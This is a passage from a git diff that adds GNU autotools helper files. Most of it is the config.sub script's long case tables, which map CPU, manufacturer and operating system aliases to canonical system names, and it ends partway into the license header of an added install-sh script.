-mint[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; +esac + +# Decode aliases for certain CPU-COMPANY combinations. +case $basic_machine in + # Recognize the basic CPU types without company name. + # Some are omitted here because they have special meanings below. + 1750a | 580 \ + | a29k \ + | alpha | alphaev[4-8] | alphaev56 | alphaev6[78] | alphapca5[67] \ + | alpha64 | alpha64ev[4-8] | alpha64ev56 | alpha64ev6[78] | alpha64pca5[67] \ + | am33_2.0 \ + | arc | arm | arm[bl]e | arme[lb] | armv[2345] | armv[345][lb] | avr \ + | bfin \ + | c4x | clipper \ + | d10v | d30v | dlx | dsp16xx \ + | fr30 | frv \ + | h8300 | h8500 | hppa | hppa1.[01] | hppa2.0 | hppa2.0[nw] | hppa64 \ + | i370 | i860 | i960 | ia64 \ + | ip2k | iq2000 \ + | m32r | m32rle | m68000 | m68k | m88k | maxq | mcore \ + | mips | mipsbe | mipseb | mipsel | mipsle \ + | mips16 \ + | mips64 | mips64el \ + | mips64vr | mips64vrel \ + | mips64orion | mips64orionel \ + | mips64vr4100 | mips64vr4100el \ + | mips64vr4300 | mips64vr4300el \ + | mips64vr5000 | mips64vr5000el \ + | mips64vr5900 | mips64vr5900el \ + | mipsisa32 | mipsisa32el \ + | mipsisa32r2 | mipsisa32r2el \ + | mipsisa64 | mipsisa64el \ + | mipsisa64r2 | mipsisa64r2el \ + | mipsisa64sb1 | mipsisa64sb1el \ + | mipsisa64sr71k | mipsisa64sr71kel \ + | mipstx39 | mipstx39el \ + | mn10200 | mn10300 \ + | mt \ + | msp430 \ + | ns16k | ns32k \ + | or32 \ + | pdp10 | pdp11 | pj | pjl \ + | powerpc | powerpc64 | powerpc64le | powerpcle | ppcbe \ + | pyramid \ + | sh | sh[1234] | sh[24]a | sh[23]e | sh[34]eb | shbe | shle | sh[1234]le | sh3ele \ + | sh64 | sh64le \ + | sparc | sparc64 | sparc64b | sparc86x | sparclet | sparclite \ + | sparcv8 | sparcv9 | sparcv9b \ + | strongarm \ + | tahoe | thumb | tic4x | tic80 | tron \ + | v850 | v850e \ + | we32k \ + | x86 | xscale | xscalee[bl] | xstormy16 | xtensa \ + | z8k) + basic_machine=$basic_machine-unknown + ;; + m32c) + basic_machine=$basic_machine-unknown + ;; + m6811 | m68hc11 | m6812 | m68hc12) + # Motorola 68HC11/12. + basic_machine=$basic_machine-unknown + os=-none + ;; + m88110 | m680[12346]0 | m683?2 | m68360 | m5200 | v70 | w65 | z8k) + ;; + ms1) + basic_machine=mt-unknown + ;; + + # We use `pc' rather than `unknown' + # because (1) that's what they normally are, and + # (2) the word "unknown" tends to confuse beginning users. + i*86 | x86_64) + basic_machine=$basic_machine-pc + ;; + # Object if more than one company name word. + *-*-*) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; + # Recognize the basic CPU types with company name. + 580-* \ + | a29k-* \ + | alpha-* | alphaev[4-8]-* | alphaev56-* | alphaev6[78]-* \ + | alpha64-* | alpha64ev[4-8]-* | alpha64ev56-* | alpha64ev6[78]-* \ + | alphapca5[67]-* | alpha64pca5[67]-* | arc-* \ + | arm-* | armbe-* | armle-* | armeb-* | armv*-* \ + | avr-* \ + | bfin-* | bs2000-* \ + | c[123]* | c30-* | [cjt]90-* | c4x-* | c54x-* | c55x-* | c6x-* \ + | clipper-* | craynv-* | cydra-* \ + | d10v-* | d30v-* | dlx-* \ + | elxsi-* \ + | f30[01]-* | f700-* | fr30-* | frv-* | fx80-* \ + | h8300-* | h8500-* \ + | hppa-* | hppa1.[01]-* | hppa2.0-* | hppa2.0[nw]-* | hppa64-* \ + | i*86-* | i860-* | i960-* | ia64-* \ + | ip2k-* | iq2000-* \ + | m32r-* | m32rle-* \ + | m68000-* | m680[012346]0-* | m68360-* | m683?2-* | m68k-* \ + | m88110-* | m88k-* | maxq-* | mcore-* \ + | mips-* | mipsbe-* | mipseb-* | mipsel-* | mipsle-* \ + | mips16-* \ + | mips64-* | mips64el-* \ + | mips64vr-* | mips64vrel-* \ + | mips64orion-* | mips64orionel-* \ + | mips64vr4100-* | mips64vr4100el-* \ + | mips64vr4300-* | mips64vr4300el-* \ + | mips64vr5000-* | mips64vr5000el-* \ + | mips64vr5900-* | mips64vr5900el-* \ + | mipsisa32-* | mipsisa32el-* \ + | mipsisa32r2-* | mipsisa32r2el-* \ + | mipsisa64-* | mipsisa64el-* \ + | mipsisa64r2-* | mipsisa64r2el-* \ + | mipsisa64sb1-* | mipsisa64sb1el-* \ + | mipsisa64sr71k-* | mipsisa64sr71kel-* \ + | mipstx39-* | mipstx39el-* \ + | mmix-* \ + | mt-* \ + | msp430-* \ + | none-* | np1-* | ns16k-* | ns32k-* \ + | orion-* \ + | pdp10-* | pdp11-* | pj-* | pjl-* | pn-* | power-* \ + | powerpc-* | powerpc64-* | powerpc64le-* | powerpcle-* | ppcbe-* \ + | pyramid-* \ + | romp-* | rs6000-* \ + | sh-* | sh[1234]-* | sh[24]a-* | sh[23]e-* | sh[34]eb-* | shbe-* \ + | shle-* | sh[1234]le-* | sh3ele-* | sh64-* | sh64le-* \ + | sparc-* | sparc64-* | sparc64b-* | sparc86x-* | sparclet-* \ + | sparclite-* \ + | sparcv8-* | sparcv9-* | sparcv9b-* | strongarm-* | sv1-* | sx?-* \ + | tahoe-* | thumb-* \ + | tic30-* | tic4x-* | tic54x-* | tic55x-* | tic6x-* | tic80-* \ + | tron-* \ + | v850-* | v850e-* | vax-* \ + | we32k-* \ + | x86-* | x86_64-* | xps100-* | xscale-* | xscalee[bl]-* \ + | xstormy16-* | xtensa-* \ + | ymp-* \ + | z8k-*) + ;; + m32c-*) + ;; + # Recognize the various machine names and aliases which stand + # for a CPU type and a company and sometimes even an OS. + 386bsd) + basic_machine=i386-unknown + os=-bsd + ;; + 3b1 | 7300 | 7300-att | att-7300 | pc7300 | safari | unixpc) + basic_machine=m68000-att + ;; + 3b*) + basic_machine=we32k-att + ;; + a29khif) + basic_machine=a29k-amd + os=-udi + ;; + abacus) + basic_machine=abacus-unknown + ;; + adobe68k) + basic_machine=m68010-adobe + os=-scout + ;; + alliant | fx80) + basic_machine=fx80-alliant + ;; + altos | altos3068) + basic_machine=m68k-altos + ;; + am29k) + basic_machine=a29k-none + os=-bsd + ;; + amd64) + basic_machine=x86_64-pc + ;; + amd64-*) + basic_machine=x86_64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + amdahl) + basic_machine=580-amdahl + os=-sysv + ;; + amiga | amiga-*) + basic_machine=m68k-unknown + ;; + amigaos | amigados) + basic_machine=m68k-unknown + os=-amigaos + ;; + amigaunix | amix) + basic_machine=m68k-unknown + os=-sysv4 + ;; + apollo68) + basic_machine=m68k-apollo + os=-sysv + ;; + apollo68bsd) + basic_machine=m68k-apollo + os=-bsd + ;; + aux) + basic_machine=m68k-apple + os=-aux + ;; + balance) + basic_machine=ns32k-sequent + os=-dynix + ;; + c90) + basic_machine=c90-cray + os=-unicos + ;; + convex-c1) + basic_machine=c1-convex + os=-bsd + ;; + convex-c2) + basic_machine=c2-convex + os=-bsd + ;; + convex-c32) + basic_machine=c32-convex + os=-bsd + ;; + convex-c34) + basic_machine=c34-convex + os=-bsd + ;; + convex-c38) + basic_machine=c38-convex + os=-bsd + ;; + cray | j90) + basic_machine=j90-cray + os=-unicos + ;; + craynv) + basic_machine=craynv-cray + os=-unicosmp + ;; + cr16c) + basic_machine=cr16c-unknown + os=-elf + ;; + crds | unos) + basic_machine=m68k-crds + ;; + crisv32 | crisv32-* | etraxfs*) + basic_machine=crisv32-axis + ;; + cris | cris-* | etrax*) + basic_machine=cris-axis + ;; + crx) + basic_machine=crx-unknown + os=-elf + ;; + da30 | da30-*) + basic_machine=m68k-da30 + ;; + decstation | decstation-3100 | pmax | pmax-* | pmin | dec3100 | decstatn) + basic_machine=mips-dec + ;; + decsystem10* | dec10*) + basic_machine=pdp10-dec + os=-tops10 + ;; + decsystem20* | dec20*) + basic_machine=pdp10-dec + os=-tops20 + ;; + delta | 3300 | motorola-3300 | motorola-delta \ + | 3300-motorola | delta-motorola) + basic_machine=m68k-motorola + ;; + delta88) + basic_machine=m88k-motorola + os=-sysv3 + ;; + djgpp) + basic_machine=i586-pc + os=-msdosdjgpp + ;; + dpx20 | dpx20-*) + basic_machine=rs6000-bull + os=-bosx + ;; + dpx2* | dpx2*-bull) + basic_machine=m68k-bull + os=-sysv3 + ;; + ebmon29k) + basic_machine=a29k-amd + os=-ebmon + ;; + elxsi) + basic_machine=elxsi-elxsi + os=-bsd + ;; + encore | umax | mmax) + basic_machine=ns32k-encore + ;; + es1800 | OSE68k | ose68k | ose | OSE) + basic_machine=m68k-ericsson + os=-ose + ;; + fx2800) + basic_machine=i860-alliant + ;; + genix) + basic_machine=ns32k-ns + ;; + gmicro) + basic_machine=tron-gmicro + os=-sysv + ;; + go32) + basic_machine=i386-pc + os=-go32 + ;; + h3050r* | hiux*) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + h8300hms) + basic_machine=h8300-hitachi + os=-hms + ;; + h8300xray) + basic_machine=h8300-hitachi + os=-xray + ;; + h8500hms) + basic_machine=h8500-hitachi + os=-hms + ;; + harris) + basic_machine=m88k-harris + os=-sysv3 + ;; + hp300-*) + basic_machine=m68k-hp + ;; + hp300bsd) + basic_machine=m68k-hp + os=-bsd + ;; + hp300hpux) + basic_machine=m68k-hp + os=-hpux + ;; + hp3k9[0-9][0-9] | hp9[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k2[0-9][0-9] | hp9k31[0-9]) + basic_machine=m68000-hp + ;; + hp9k3[2-9][0-9]) + basic_machine=m68k-hp + ;; + hp9k6[0-9][0-9] | hp6[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hp9k7[0-79][0-9] | hp7[0-79][0-9]) + basic_machine=hppa1.1-hp + ;; + hp9k78[0-9] | hp78[0-9]) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[67]1 | hp8[67]1 | hp9k80[24] | hp80[24] | hp9k8[78]9 | hp8[78]9 | hp9k893 | hp893) + # FIXME: really hppa2.0-hp + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][13679] | hp8[0-9][13679]) + basic_machine=hppa1.1-hp + ;; + hp9k8[0-9][0-9] | hp8[0-9][0-9]) + basic_machine=hppa1.0-hp + ;; + hppa-next) + os=-nextstep3 + ;; + hppaosf) + basic_machine=hppa1.1-hp + os=-osf + ;; + hppro) + basic_machine=hppa1.1-hp + os=-proelf + ;; + i370-ibm* | ibm*) + basic_machine=i370-ibm + ;; +# I'm not sure what "Sysv32" means. Should this be sysv3.2? + i*86v32) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv32 + ;; + i*86v4*) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv4 + ;; + i*86v) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-sysv + ;; + i*86sol2) + basic_machine=`echo $1 | sed -e 's/86.*/86-pc/'` + os=-solaris2 + ;; + i386mach) + basic_machine=i386-mach + os=-mach + ;; + i386-vsta | vsta) + basic_machine=i386-unknown + os=-vsta + ;; + iris | iris4d) + basic_machine=mips-sgi + case $os in + -irix*) + ;; + *) + os=-irix4 + ;; + esac + ;; + isi68 | isi) + basic_machine=m68k-isi + os=-sysv + ;; + m88k-omron*) + basic_machine=m88k-omron + ;; + magnum | m3230) + basic_machine=mips-mips + os=-sysv + ;; + merlin) + basic_machine=ns32k-utek + os=-sysv + ;; + mingw32) + basic_machine=i386-pc + os=-mingw32 + ;; + miniframe) + basic_machine=m68000-convergent + ;; + *mint | -mint[0-9]* | *MiNT | *MiNT[0-9]*) + basic_machine=m68k-atari + os=-mint + ;; + mips3*-*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'` + ;; + mips3*) + basic_machine=`echo $basic_machine | sed -e 's/mips3/mips64/'`-unknown + ;; + monitor) + basic_machine=m68k-rom68k + os=-coff + ;; + morphos) + basic_machine=powerpc-unknown + os=-morphos + ;; + msdos) + basic_machine=i386-pc + os=-msdos + ;; + ms1-*) + basic_machine=`echo $basic_machine | sed -e 's/ms1-/mt-/'` + ;; + mvs) + basic_machine=i370-ibm + os=-mvs + ;; + ncr3000) + basic_machine=i486-ncr + os=-sysv4 + ;; + netbsd386) + basic_machine=i386-unknown + os=-netbsd + ;; + netwinder) + basic_machine=armv4l-rebel + os=-linux + ;; + news | news700 | news800 | news900) + basic_machine=m68k-sony + os=-newsos + ;; + news1000) + basic_machine=m68030-sony + os=-newsos + ;; + news-3600 | risc-news) + basic_machine=mips-sony + os=-newsos + ;; + necv70) + basic_machine=v70-nec + os=-sysv + ;; + next | m*-next ) + basic_machine=m68k-next + case $os in + -nextstep* ) + ;; + -ns2*) + os=-nextstep2 + ;; + *) + os=-nextstep3 + ;; + esac + ;; + nh3000) + basic_machine=m68k-harris + os=-cxux + ;; + nh[45]000) + basic_machine=m88k-harris + os=-cxux + ;; + nindy960) + basic_machine=i960-intel + os=-nindy + ;; + mon960) + basic_machine=i960-intel + os=-mon960 + ;; + nonstopux) + basic_machine=mips-compaq + os=-nonstopux + ;; + np1) + basic_machine=np1-gould + ;; + nsr-tandem) + basic_machine=nsr-tandem + ;; + op50n-* | op60c-*) + basic_machine=hppa1.1-oki + os=-proelf + ;; + openrisc | openrisc-*) + basic_machine=or32-unknown + ;; + os400) + basic_machine=powerpc-ibm + os=-os400 + ;; + OSE68000 | ose68000) + basic_machine=m68000-ericsson + os=-ose + ;; + os68k) + basic_machine=m68k-none + os=-os68k + ;; + pa-hitachi) + basic_machine=hppa1.1-hitachi + os=-hiuxwe2 + ;; + paragon) + basic_machine=i860-intel + os=-osf + ;; + pbd) + basic_machine=sparc-tti + ;; + pbb) + basic_machine=m68k-tti + ;; + pc532 | pc532-*) + basic_machine=ns32k-pc532 + ;; + pentium | p5 | k5 | k6 | nexgen | viac3) + basic_machine=i586-pc + ;; + pentiumpro | p6 | 6x86 | athlon | athlon_*) + basic_machine=i686-pc + ;; + pentiumii | pentium2 | pentiumiii | pentium3) + basic_machine=i686-pc + ;; + pentium4) + basic_machine=i786-pc + ;; + pentium-* | p5-* | k5-* | k6-* | nexgen-* | viac3-*) + basic_machine=i586-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumpro-* | p6-* | 6x86-* | athlon-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentiumii-* | pentium2-* | pentiumiii-* | pentium3-*) + basic_machine=i686-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pentium4-*) + basic_machine=i786-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + pn) + basic_machine=pn-gould + ;; + power) basic_machine=power-ibm + ;; + ppc) basic_machine=powerpc-unknown + ;; + ppc-*) basic_machine=powerpc-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppcle | powerpclittle | ppc-le | powerpc-little) + basic_machine=powerpcle-unknown + ;; + ppcle-* | powerpclittle-*) + basic_machine=powerpcle-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64) basic_machine=powerpc64-unknown + ;; + ppc64-*) basic_machine=powerpc64-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ppc64le | powerpc64little | ppc64-le | powerpc64-little) + basic_machine=powerpc64le-unknown + ;; + ppc64le-* | powerpc64little-*) + basic_machine=powerpc64le-`echo $basic_machine | sed 's/^[^-]*-//'` + ;; + ps2) + basic_machine=i386-ibm + ;; + pw32) + basic_machine=i586-unknown + os=-pw32 + ;; + rdos) + basic_machine=i386-pc + os=-rdos + ;; + rom68k) + basic_machine=m68k-rom68k + os=-coff + ;; + rm[46]00) + basic_machine=mips-siemens + ;; + rtpc | rtpc-*) + basic_machine=romp-ibm + ;; + s390 | s390-*) + basic_machine=s390-ibm + ;; + s390x | s390x-*) + basic_machine=s390x-ibm + ;; + sa29200) + basic_machine=a29k-amd + os=-udi + ;; + sb1) + basic_machine=mipsisa64sb1-unknown + ;; + sb1el) + basic_machine=mipsisa64sb1el-unknown + ;; + sei) + basic_machine=mips-sei + os=-seiux + ;; + sequent) + basic_machine=i386-sequent + ;; + sh) + basic_machine=sh-hitachi + os=-hms + ;; + sh64) + basic_machine=sh64-unknown + ;; + sparclite-wrs | simso-wrs) + basic_machine=sparclite-wrs + os=-vxworks + ;; + sps7) + basic_machine=m68k-bull + os=-sysv2 + ;; + spur) + basic_machine=spur-unknown + ;; + st2000) + basic_machine=m68k-tandem + ;; + stratus) + basic_machine=i860-stratus + os=-sysv4 + ;; + sun2) + basic_machine=m68000-sun + ;; + sun2os3) + basic_machine=m68000-sun + os=-sunos3 + ;; + sun2os4) + basic_machine=m68000-sun + os=-sunos4 + ;; + sun3os3) + basic_machine=m68k-sun + os=-sunos3 + ;; + sun3os4) + basic_machine=m68k-sun + os=-sunos4 + ;; + sun4os3) + basic_machine=sparc-sun + os=-sunos3 + ;; + sun4os4) + basic_machine=sparc-sun + os=-sunos4 + ;; + sun4sol2) + basic_machine=sparc-sun + os=-solaris2 + ;; + sun3 | sun3-*) + basic_machine=m68k-sun + ;; + sun4) + basic_machine=sparc-sun + ;; + sun386 | sun386i | roadrunner) + basic_machine=i386-sun + ;; + sv1) + basic_machine=sv1-cray + os=-unicos + ;; + symmetry) + basic_machine=i386-sequent + os=-dynix + ;; + t3e) + basic_machine=alphaev5-cray + os=-unicos + ;; + t90) + basic_machine=t90-cray + os=-unicos + ;; + tic54x | c54x*) + basic_machine=tic54x-unknown + os=-coff + ;; + tic55x | c55x*) + basic_machine=tic55x-unknown + os=-coff + ;; + tic6x | c6x*) + basic_machine=tic6x-unknown + os=-coff + ;; + tx39) + basic_machine=mipstx39-unknown + ;; + tx39el) + basic_machine=mipstx39el-unknown + ;; + toad1) + basic_machine=pdp10-xkl + os=-tops20 + ;; + tower | tower-32) + basic_machine=m68k-ncr + ;; + tpf) + basic_machine=s390x-ibm + os=-tpf + ;; + udi29k) + basic_machine=a29k-amd + os=-udi + ;; + ultra3) + basic_machine=a29k-nyu + os=-sym1 + ;; + v810 | necv810) + basic_machine=v810-nec + os=-none + ;; + vaxv) + basic_machine=vax-dec + os=-sysv + ;; + vms) + basic_machine=vax-dec + os=-vms + ;; + vpp*|vx|vx-*) + basic_machine=f301-fujitsu + ;; + vxworks960) + basic_machine=i960-wrs + os=-vxworks + ;; + vxworks68) + basic_machine=m68k-wrs + os=-vxworks + ;; + vxworks29k) + basic_machine=a29k-wrs + os=-vxworks + ;; + w65*) + basic_machine=w65-wdc + os=-none + ;; + w89k-*) + basic_machine=hppa1.1-winbond + os=-proelf + ;; + xbox) + basic_machine=i686-pc + os=-mingw32 + ;; + xps | xps100) + basic_machine=xps100-honeywell + ;; + ymp) + basic_machine=ymp-cray + os=-unicos + ;; + z8k-*-coff) + basic_machine=z8k-unknown + os=-sim + ;; + none) + basic_machine=none-none + os=-none + ;; + +# Here we handle the default manufacturer of certain CPU types. It is in +# some cases the only manufacturer, in others, it is the most popular. + w89k) + basic_machine=hppa1.1-winbond + ;; + op50n) + basic_machine=hppa1.1-oki + ;; + op60c) + basic_machine=hppa1.1-oki + ;; + romp) + basic_machine=romp-ibm + ;; + mmix) + basic_machine=mmix-knuth + ;; + rs6000) + basic_machine=rs6000-ibm + ;; + vax) + basic_machine=vax-dec + ;; + pdp10) + # there are many clones, so DEC is not a safe bet + basic_machine=pdp10-unknown + ;; + pdp11) + basic_machine=pdp11-dec + ;; + we32k) + basic_machine=we32k-att + ;; + sh[1234] | sh[24]a | sh[34]eb | sh[1234]le | sh[23]ele) + basic_machine=sh-unknown + ;; + sparc | sparcv8 | sparcv9 | sparcv9b) + basic_machine=sparc-sun + ;; + cydra) + basic_machine=cydra-cydrome + ;; + orion) + basic_machine=orion-highlevel + ;; + orion105) + basic_machine=clipper-highlevel + ;; + mac | mpw | mac-mpw) + basic_machine=m68k-apple + ;; + pmac | pmac-mpw) + basic_machine=powerpc-apple + ;; + *-unknown) + # Make sure to match an already-canonicalized machine name. + ;; + *) + echo Invalid configuration \`$1\': machine \`$basic_machine\' not recognized 1>&2 + exit 1 + ;; +esac + +# Here we canonicalize certain aliases for manufacturers. +case $basic_machine in + *-digital*) + basic_machine=`echo $basic_machine | sed 's/digital.*/dec/'` + ;; + *-commodore*) + basic_machine=`echo $basic_machine | sed 's/commodore.*/cbm/'` + ;; + *) + ;; +esac + +# Decode manufacturer-specific aliases for certain operating systems. + +if [ x"$os" != x"" ] +then +case $os in + # First match some system type aliases + # that might get confused with valid system types. + # -solaris* is a basic system type, with this one exception. + -solaris1 | -solaris1.*) + os=`echo $os | sed -e 's|solaris1|sunos4|'` + ;; + -solaris) + os=-solaris2 + ;; + -svr4*) + os=-sysv4 + ;; + -unixware*) + os=-sysv4.2uw + ;; + -gnu/linux*) + os=`echo $os | sed -e 's|gnu/linux|linux-gnu|'` + ;; + # First accept the basic system types. + # The portable systems comes first. + # Each alternative MUST END IN A *, to match a version number. + # -sysv* is not here because it comes later, after sysvr4. + -gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ + | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[34]*\ + | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sym* \ + | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -aof* \ + | -aos* \ + | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ + | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ + | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -openbsd* \ + | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ + | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ + | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ + | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ + | -chorusos* | -chorusrdb* \ + | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ + | -mingw32* | -linux-gnu* | -linux-newlib* | -linux-uclibc* \ + | -uxpv* | -beos* | -mpeix* | -udk* \ + | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opened* \ + | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ + | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ + | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ + | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ + | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly* \ + | -skyos* | -haiku* | -rdos*) + # Remember, each alternative MUST END IN *, to match a version number. + ;; + -qnx*) + case $basic_machine in + x86-* | i*86-*) + ;; + *) + os=-nto$os + ;; + esac + ;; + -nto-qnx*) + ;; + -nto*) + os=`echo $os | sed -e 's|nto|nto-qnx|'` + ;; + -sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ + | -windows* | -osx | -abug | -netware* | -os9* | -beos* | -haiku* \ + | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*) + ;; + -mac*) + os=`echo $os | sed -e 's|mac|macos|'` + ;; + -linux-dietlibc) + os=-linux-dietlibc + ;; + -linux*) + os=`echo $os | sed -e 's|linux|linux-gnu|'` + ;; + -sunos5*) + os=`echo $os | sed -e 's|sunos5|solaris2|'` + ;; + -sunos6*) + os=`echo $os | sed -e 's|sunos6|solaris3|'` + ;; + -opened*) + os=-openedition + ;; + -os400*) + os=-os400 + ;; + -wince*) + os=-wince + ;; + -osfrose*) + os=-osfrose + ;; + -osf*) + os=-osf + ;; + -utek*) + os=-bsd + ;; + -dynix*) + os=-bsd + ;; + -acis*) + os=-aos + ;; + -atheos*) + os=-atheos + ;; + -syllable*) + os=-syllable + ;; + -386bsd) + os=-bsd + ;; + -ctix* | -uts*) + os=-sysv + ;; + -nova*) + os=-rtmk-nova + ;; + -ns2 ) + os=-nextstep2 + ;; + -nsk*) + os=-nsk + ;; + # Preserve the version number of sinix5. + -sinix5.*) + os=`echo $os | sed -e 's|sinix|sysv|'` + ;; + -sinix*) + os=-sysv4 + ;; + -tpf*) + os=-tpf + ;; + -triton*) + os=-sysv3 + ;; + -oss*) + os=-sysv3 + ;; + -svr4) + os=-sysv4 + ;; + -svr3) + os=-sysv3 + ;; + -sysvr4) + os=-sysv4 + ;; + # This must come after -sysvr4. + -sysv*) + ;; + -ose*) + os=-ose + ;; + -es1800*) + os=-ose + ;; + -xenix) + os=-xenix + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + os=-mint + ;; + -aros*) + os=-aros + ;; + -kaos*) + os=-kaos + ;; + -zvmoe) + os=-zvmoe + ;; + -none) + ;; + *) + # Get rid of the `-' at the beginning of $os. + os=`echo $os | sed 's/[^-]*-//'` + echo Invalid configuration \`$1\': system \`$os\' not recognized 1>&2 + exit 1 + ;; +esac +else + +# Here we handle the default operating systems that come with various machines. +# The value should be what the vendor currently ships out the door with their +# machine or put another way, the most popular os provided with the machine. + +# Note that if you're going to try to match "-MANUFACTURER" here (say, +# "-sun"), then you have to tell the case statement up towards the top +# that MANUFACTURER isn't an operating system. Otherwise, code above +# will signal an error saying that MANUFACTURER isn't an operating +# system, and we'll never get to this point. + +case $basic_machine in + *-acorn) + os=-riscix1.2 + ;; + arm*-rebel) + os=-linux + ;; + arm*-semi) + os=-aout + ;; + c4x-* | tic4x-*) + os=-coff + ;; + # This must come before the *-dec entry. + pdp10-*) + os=-tops20 + ;; + pdp11-*) + os=-none + ;; + *-dec | vax-*) + os=-ultrix4.2 + ;; + m68*-apollo) + os=-domain + ;; + i386-sun) + os=-sunos4.0.2 + ;; + m68000-sun) + os=-sunos3 + # This also exists in the configure program, but was not the + # default. + # os=-sunos4 + ;; + m68*-cisco) + os=-aout + ;; + mips*-cisco) + os=-elf + ;; + mips*-*) + os=-elf + ;; + or32-*) + os=-coff + ;; + *-tti) # must be before sparc entry or we get the wrong os. + os=-sysv3 + ;; + sparc-* | *-sun) + os=-sunos4.1.1 + ;; + *-be) + os=-beos + ;; + *-haiku) + os=-haiku + ;; + *-ibm) + os=-aix + ;; + *-knuth) + os=-mmixware + ;; + *-wec) + os=-proelf + ;; + *-winbond) + os=-proelf + ;; + *-oki) + os=-proelf + ;; + *-hp) + os=-hpux + ;; + *-hitachi) + os=-hiux + ;; + i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) + os=-sysv + ;; + *-cbm) + os=-amigaos + ;; + *-dg) + os=-dgux + ;; + *-dolphin) + os=-sysv3 + ;; + m68k-ccur) + os=-rtu + ;; + m88k-omron*) + os=-luna + ;; + *-next ) + os=-nextstep + ;; + *-sequent) + os=-ptx + ;; + *-crds) + os=-unos + ;; + *-ns) + os=-genix + ;; + i370-*) + os=-mvs + ;; + *-next) + os=-nextstep3 + ;; + *-gould) + os=-sysv + ;; + *-highlevel) + os=-bsd + ;; + *-encore) + os=-bsd + ;; + *-sgi) + os=-irix + ;; + *-siemens) + os=-sysv4 + ;; + *-masscomp) + os=-rtu + ;; + f30[01]-fujitsu | f700-fujitsu) + os=-uxpv + ;; + *-rom68k) + os=-coff + ;; + *-*bug) + os=-coff + ;; + *-apple) + os=-macos + ;; + *-atari*) + os=-mint + ;; + *) + os=-none + ;; +esac +fi + +# Here we handle the case where we know the os, and the CPU type, but not the +# manufacturer. We pick the logical manufacturer. +vendor=unknown +case $basic_machine in + *-unknown) + case $os in + -riscix*) + vendor=acorn + ;; + -sunos*) + vendor=sun + ;; + -aix*) + vendor=ibm + ;; + -beos*) + vendor=be + ;; + -hpux*) + vendor=hp + ;; + -mpeix*) + vendor=hp + ;; + -hiux*) + vendor=hitachi + ;; + -unos*) + vendor=crds + ;; + -dgux*) + vendor=dg + ;; + -luna*) + vendor=omron + ;; + -genix*) + vendor=ns + ;; + -mvs* | -opened*) + vendor=ibm + ;; + -os400*) + vendor=ibm + ;; + -ptx*) + vendor=sequent + ;; + -tpf*) + vendor=ibm + ;; + -vxsim* | -vxworks* | -windiss*) + vendor=wrs + ;; + -aux*) + vendor=apple + ;; + -hms*) + vendor=hitachi + ;; + -mpw* | -macos*) + vendor=apple + ;; + -*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) + vendor=atari + ;; + -vos*) + vendor=stratus + ;; + esac + basic_machine=`echo $basic_machine | sed "s/unknown/$vendor/"` + ;; +esac + +echo $basic_machine$os +exit + +# Local variables: +# eval: (add-hook 'write-file-hooks 'time-stamp) +# time-stamp-start: "timestamp='" +# time-stamp-format: "%:y-%02m-%02d" +# time-stamp-end: "'" +# End: diff --git a/autostuff/install-sh b/autostuff/install-sh new file mode 100755 index 0000000..e4160c9 --- /dev/null +++ b/autostuff/install-sh @@ -0,0 +1,325 @@ +#!/bin/sh +# install - install a program, script, or datafile + +scriptversion=2004-04-01.17 + +# This originates from X11R5 (mit/util/scripts/install.sh), which was +# later released in X11R6 (xc/config/util/install.sh) with the +# following copyright and license. +# +# Copyright (C) 1994 X Consortium +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to +# deal in the Software without restriction, including without limitation the +# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or +# sell copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND 